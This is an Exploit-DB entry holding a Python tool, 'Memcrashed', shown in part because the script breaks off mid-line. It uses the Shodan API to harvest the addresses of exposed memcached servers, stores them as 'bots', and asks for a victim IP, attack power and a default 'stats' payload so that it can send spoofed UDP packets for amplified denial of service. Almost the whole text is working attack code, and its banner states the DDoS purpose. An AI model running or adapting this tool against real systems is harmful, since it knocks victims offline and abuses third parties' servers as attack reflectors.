Exploit-DB #44265
Description: Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API
Type: dos
Platform: linux
Date: 2018-03-08
Author: 649

Exploit:
#-- coding: utf8 --
#!/usr/bin/python
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44265.zip

import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager

starttime=time.time()

@contextmanager
def suppress_stdout():
    with open(os.devnull, "w") as devnull:
        old_stdout = sys.stdout
        sys.stdout = devnull
        try:  
            yield
        finally:
            sys.stdout = old_stdout

class color:
    HEADER = '\033[0m'

keys = Path("./api.txt")
logo = color.HEADER + '''

   в–Ҳв–Ҳв–Ҳв•—   в–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв•—   в–Ҳв–Ҳв–Ҳв•— в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—  в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•— в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв•—  в–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•— 
   в–Ҳв–Ҳв–Ҳв–Ҳв•— в–Ҳв–Ҳв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв•җв•җв•қв–Ҳв–Ҳв–Ҳв–Ҳв•— в–Ҳв–Ҳв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв•җв•җв•қв–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•—в–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•—в–Ҳв–Ҳв•”в•җв•җв•җв•җв•қв–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв•җв•җв•қв–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•—
   в–Ҳв–Ҳв•”в–Ҳв–Ҳв–Ҳв–Ҳв•”в–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—  в–Ҳв–Ҳв•”в–Ҳв–Ҳв–Ҳв–Ҳв•”в–Ҳв–Ҳв•‘в–Ҳв–Ҳв•‘     в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•”в•қв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—  в–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘
   в–Ҳв–Ҳв•‘в•ҡв–Ҳв–Ҳв•”в•қв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв•қ  в–Ҳв–Ҳв•‘в•ҡв–Ҳв–Ҳв•”в•қв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•‘     в–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•—в–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•‘в•ҡв•җв•җв•җв•җв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•”в•җв•җв•қ  в–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘
   в–Ҳв–Ҳв•‘ в•ҡв•җв•қ в–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв•‘ в•ҡв•җв•қ в–Ҳв–Ҳв•‘в•ҡв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘в–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•‘в–Ҳв–Ҳв•‘  в–Ҳв–Ҳв•‘в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•—в–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв–Ҳв•”в•қ
   в•ҡв•җв•қ     в•ҡв•җв•қв•ҡв•җв•җв•җв•җв•җв•җв•қв•ҡв•җв•қ     в•ҡв•җв•қ в•ҡв•җв•җв•җв•җв•җв•қв•ҡв•җв•қ  в•ҡв•җв•қв•ҡв•җв•қ  в•ҡв•җв•қв•ҡв•җв•җв•җв•җв•җв•җв•қв•ҡв•җв•қ  в•ҡв•җв•қв•ҡв•җв•җв•җв•җв•җв•җв•қв•ҡв•җв•җв•җв•җв•җв•қ 

                                        Author: @037
                                        Version: 3.1

####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable  |
| memcached servers. It then allows you to use the same servers to launch widespread      |
| distributed denial of service attacks by forging UDP packets sourced to your victim.    |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly.   |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
                                                                                      
'''
print(logo)

if keys.is_file():
    with open('api.txt', 'r') as file:
        SHODAN_API_KEY=file.readlines()
else:
    file = open('api.txt', 'w')
    SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
    file.write(SHODAN_API_KEY)
    print('[~] File written: ./api.txt')
    file.close()

while True:
    api = shodan.Shodan(SHODAN_API_KEY)
    print('')
    try:
        myresults = Path("./bots.txt")
        query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
        if query.startswith('y'):
            print('')
            print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
            results = api.search('product:"Memcached" port:11211')
            print('[вң“] API Key Authentication: SUCCESS')
            print('[~] Number of bots: %s' % results['total'])
            print('')
            saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
            if saveresult.startswith('y'):
                file2 = open('bots.txt', 'a')
                for result in results['matches']:
                    file2.write(result['ip_str'] + "\n")
                print('[~] File written: ./bots.txt')
                print('')
                file2.close()
        saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
        if myresults.is_file():
            if saveme.startswith('y'):
                ip_arrayn = []
                with open('bots.txt') as my_file:
                    for line in my_file:
                        ip_arrayn.append(line)
                ip_array = [s.rstrip() for s in ip_arrayn]
        else:
            print('')
            print('[вңҳ] Error: No bots stored locally, bots.txt file not found!')
            print('')
        if saveme.startswith('y') or query.startswith('y'):
            print('')
            target = input("[в–ё] Enter target IP address: ")
            power = int(input("[в–ё] Enter preferred power (Default 1): ") or "1")
            data = input("[в–ё] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
            print('')
            if query.startswith('y'):
                iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
                if iplist.startswith('y'):
                    print('')
                    counter= int(0)
                    for result in results['matches']:
                        host = api.host('%s' % result['ip_str'])
                        counter=counter+1
                        print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
                        time.sleep(2.0 - ((time.time() - starttime) % 2.0))
            if saveme.startswith('y'):
                iplistlocal = input('[*] Would you like t